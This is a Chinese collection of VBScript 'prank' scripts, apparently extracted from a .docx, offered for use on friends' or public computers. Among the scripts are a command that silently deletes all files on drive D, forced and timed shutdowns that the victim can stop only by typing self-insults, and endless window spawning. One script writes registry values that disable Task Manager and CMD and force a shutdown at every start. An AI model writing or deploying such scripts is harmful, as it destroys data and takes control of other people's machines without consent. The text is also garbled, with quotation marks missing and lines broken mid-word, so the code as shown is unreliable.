整人代码大集合-多年的代码收集.docx

1、vbs 整人代码大集合多年的代码收集详细出处参考：vbs 整人代码大集合，收集的比较全，喜欢的朋友可以参考下。不要搞破坏，学习vbs 的朋友非常有帮助，死循环的使用比较多。一、你打开好友的聊天对话框,然后记下在你QQ 里好友的昵称,把下面代码里的就可以自定义发送QQ 信息到好友的次数(代码里的数字10 改一下即可 ).xx 替换一下,xx.vbs=复制代码代码如下 :On Error Resume NextDim wsh,yeset wsh=createobject(wscript.shell)for i=1 to 10wscript.sleep 700wsh.AppActivate( 与 x

2、x 聊天中 )wsh.sendKeys vwsh.sendKeys iwsh.sendKeys %snextwscript.quitQQ 骚扰信息 ,也可以用在其它程序上。二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈-domsgbox You are foolish!loop-三、打开无数个计算器，直到死机-set wsh=createobject(wscript.shell)dowsh.run calcloop-四、直接关机-dim WSHshellset WSHshell = wscript.createobject(wscript.shell)WSHshel

3、l.run shutdown -f -s -t 00,0 ,true-五、删除所有文件-dim WSHshellset WSHshell = wscript.createobject(wscript.shell)WSHshell.run cmd /c del d:*.* / f /q /s,0 ,true-六、不断弹出窗口-复制代码代码如下 :while(1)msgbox 哈哈你被耍了！ loop-七、不断按下alt+f4（开什么都关闭 ）-复制代码代码如下 :dim WSHshellset WSHshell = wscript.createobject(wscript.shell)while

4、(1)WSHshell.SendKeys %F4loop八、按500 次回车(以上代码在运行者的电脑上显示复制代码代码如下 :500 个对话框。其中do until s=500， 500 可以随意更改)dim sdo until s=500s=s+1msgbox 哥们，给我按500 次回车吧,64loop- -九、关不掉的窗口复制代码代码如下 :WScript.Echo( 嘿，谢谢你打开我哦，我等你很久拉！WScript.Echo( 你是可爱的小朋吗?)WScript.Echo( 哈 ,我想你拉，这你都不知道吗？)WScript.Echo( 怎么才来，说是不是不关心我)WScript.Echo

5、( 哼 ,我生气拉，等你这么久，心都凉啦。WScript.Echo( 小强很生气，后果很严重哦。)WScript.Echo( 嘿嘿！你也会很惨滴哦)WScript.Echo( 是不是想清除我？)WScript.Echo( 那你要点上50 下哦，不过会给你惊喜滴WScript.Echo( 还剩 49 下，快点点哦)WScript.Echo( 还剩 48 下，快点，小笨蛋！)WScript.Echo( 还剩 47 下对，就这样快点点！)&TSName)WScript.Echo( 还剩 46 下。你啊就是笨，要快哦，我先不打扰你工作。)WScript.Echo( 还剩 45 下，记得要快哦！)WSc

6、ript.Echo( 还剩 43 下 )WScript.Echo( 还剩 42 下 )WScript.Echo( 还剩 41 下 )WScript.Echo( 还剩 40 下 )WScript.Echo( 还剩 39 下 )WScript.Echo( 还剩 38 下 )WScript.Echo( 还剩 37 下 )WScript.Echo( 还剩 36 下 )WScript.Echo( 还剩 35 下 )WScript.Echo( 还剩 34 下 )WScript.Echo( 还剩 33 下 )WScript.Echo( 还剩 32 下 )WScript.Echo( 还剩 30 下 )WScr

7、ipt.Echo( 还剩 29 下 )WScript.Echo( 还剩 28 下 )WScript.Echo( 还剩 27 下 )WScript.Echo( 还剩 26 下 )WScript.Echo( 还剩 25 下 )WScript.Echo( 还剩 24 下 )WScript.Echo( 还剩 23 下 )WScript.Echo( 还剩 22 下 )WScript.Echo( 还剩 21 下 )WScript.Echo( 还剩 20 下 )WScript.Echo( 还剩 19 下 )WScript.Echo( 还剩 18 下 )WScript.Echo( 还剩 17 下 )WScri

8、pt.Echo( 还剩 16 下 )WScript.Echo( 还剩 15 下 )WScript.Echo( 还剩 14 下 )WScript.Echo( 还剩 13下停停！慢点，我有话要说 )WScript.Echo( 还剩 12下，你继续点我就会消失滴)WScript.Echo( 还剩 11下，以后就看不到我拉。555555)WScript.Echo( 还剩 10下，你现在可以选择停止！)WScript.Echo( 还剩 9 下。你还点啊，不要我拉？)WScript.Echo( 还剩 8 下，有点伤心拉，干嘛丢弃人家)WScript.Echo( 还剩 7 下。疯了，你有点负意！)WScri

9、pt.Echo( 还剩 6 下。对。你就点吧，我恨你！)WScript.Echo( 还剩 5 下，不明白，删除我你就好吗？)WScript.Echo( 还剩 4下！真要删除我？ )WScript.Echo( 还剩 3下。可是我真的很眷恋你。 。)WScript.Echo( 还剩 2下。不要这么绝情嘛，人家是爱你的！)WScript.Echo( 还剩 1下。哼，既然你这么绝情。也别怪我无义！ )WScript.Echo( 我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。)WScript.Echo( 想结素我么WScript.Echo( 想结素我么WScript.Echo( 想结素我么WS

10、cript.Echo( 想结素我么WScript.Echo( 想结素我么WScript.Echo( 想结素我么WScript.Echo( 想结素我么WScript.Echo( 想结素我么WScript.Echo( 想结素我么WScript.Echo( 想结素我么?那你就再多点一次)?那你就再多点一次)?那你就再多点一次)?那你就再多点一次)?那你就再多点一次)?那你就再多点一次)?那你就再多点一次)?那你就再多点一次)?那你就再多点一次)?那你就再多点一次)两个整人的VBS 脚本 2009-07-16 18:16文章录入： 7747.Net 责任编辑： 7747.Net 564【字体：小大】测

11、试环境： Windows 2003系统大家好我是 Vanlisa QQ137841986今天给大家带来两个整人的VBS 脚本希望大家喜欢VBS 脚本大家都知道吧第一个是定时关机的如果把他发给你的QQ 好友他不懂的话如果不输我是猪电脑就会在你设定的时间内关机我设置的是3 分钟 只要输入就解除了当然如果不输的话也有解除的办法我们来看下这个脚本复制代码代码如下 :on error resume nextdim WSHshellAset WSHshellA = wscript.createobject(wscript.shell)WSHshellA.run cmd.exe /c shutdown -r

12、 -t 180 -c 说我是猪，不说我是猪就一分钟关机，不信，试下 ,0 ,truedim ado while(a 我是猪 )a = inputbox ( 说我是猪 ,就不关机，快撒，说 我是猪 , 说不说 ,8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBoxloopmsgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛dim WSHshellset WSHshell = wscript.createobject(wscript.shell)WSHshell.run cmd.exe /c shutd

13、own -a,0 ,truemsgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈，好乖新建一个记事本把上面的代码复制进去另存为 VBE 格式的就可以了cmd.exe /c shutdown -r -t 180 -c这里的数字可以修改关机时间180 秒这些文字也可以自设这个脚本启用cmd 里的关机程序如果不输的的话可以打开任务管理器输入 shutdown -a 来解除经没了但是还有个关不掉的窗口我们打开任务管理器结束掉了 这时就完全解除这个脚本了Wscript时 Windows 脚本宿主我们试下这时定时关机已Wscript.exe这个进程就OK-下面看第二个整人的脚

14、本-复制代码代码如下 :set ws=createobject(wscript.shell)call shutdown(1)do while a 我是猪 a=inputbox( 快在下面的框框里输入我是猪,否则后果自负，快输 我是猪 , 输不输 ,)loopcall shutdown(2)msgbox 早说就行了嘛,4096+64msgbox 再输一遍我是猪!,4096+64msgbox 我是猪 !,4096+64MsgBox 最后一次 !,4096+64MsgBox 如果你很快的点过去,不看的话 ,4096+64MsgBox 我就要你踩我空间的!哼 !,4096+64MsgBox 从前有座山

15、 !,4096+64MsgBox 山里有个庙 .,4096+64MsgBox 庙里有个老和尚在讲故事.,4096+64ws.runiexplore.exe msgbox 哎呀累了！数绵羊哄我睡觉 for i=1 to 100,4096+64MsgBox i& 只绵羊 ,4096+64nextmsgbox 哎呀我困了，这次就饶过你吧，下次注意哦 !,4096+64 msgbox 最后问个问题，我是不是大好人！ ,4096+64 if inputbox( 是不是 , 请选择 , 是 ) 是 thencall shutdown(1)end ifsub shutdown(s)select case s

16、case 1ws.runcmd.exe /c shutdown -r -t 60 -c,0case 2ws.runcmd.exe /c shutdown -a,0end selectend sub-ws.runiexplore.exe 这段代码可以改成你自己设定的地址如果别人不输我是猪的话就会一直点下去点到你设定的数字for i=1 to 100从1到100可以改成20 其他的数字解除这个 VBS 脚本的办法就简单了这个进程就好了只是关掉任务管理器里Wscript.exeBY ： 2009QQ 整人代码复制代码代码如下 :set s=createobject(wscript.shell)set

17、 bag=getobject(winmgmts:.rootcimv2)set pipe=bag.execquery(select * from win32_process where name=wscript.exe)For Each id in pipeif instr(1,mandLine,wscript.scriptfullname)0 and pipe.count=2 thens.regwriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr,0,REG_DWORDs.regwriteHKCU

18、SoftwarePoliciesMicrosoftWindowsSystemDisableCMD,0,REG_DWORDid.terminate()elses.regwriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr,1,REG_DWORDs.regwriteHKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD,1,REG_DWORDfor i=1 to 60s.popup系统将在 & 60-i & 秒后关机 .,1, 系统提示 ,4096+4

19、8 nextSetcolOS=GetObject(winmgmts:(Shutdown).ExecQuery(Select*FROMWin32_OperatingSystem)For Each eOs In colOSeOs.Win32Shutdown(2)Nextend ifNextcolor=#FF0000复制以上代码，在桌面建一个文本，把代码放进去，另存为VBE格式，此代码的威力：1：开机就强制自动关机2： cmd 命令打不开3：结束任务不管用4： F8 安全模式也不管用呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、代码破解方法：就是再运行一次，就可以破解了，也就是第2

20、次保存的那个VBE 文件，PS：不要乱拿软件去整人，发生什么事可不要怪我啊。拍拍手顶起吧 !2：复制代码代码如下:on error resume nextdim WSHshellAset WSHshellA = wscript.createobject(wscript.shell)WSHshellA.run cmd.exe /c shutdown -r -t 60 -c 说你是傻 B ，我是天下第一大傻我是天下第一大傻B 就一分钟关你机，不信，试试 ,0 ,trueB 不说宝宝，dim ado while(a 宝宝，我是天下第一大傻B)a = inputbox ( 宝宝，我是天下第一大傻B, 就不关机，快撒，说B, 说不说 , 不说 ,8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBoxloopmsgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛，乖乖dim WSHshellset WSHshell = wscript.createobject(wscript.shell)WSHshell.run cmd.exe /c shutdow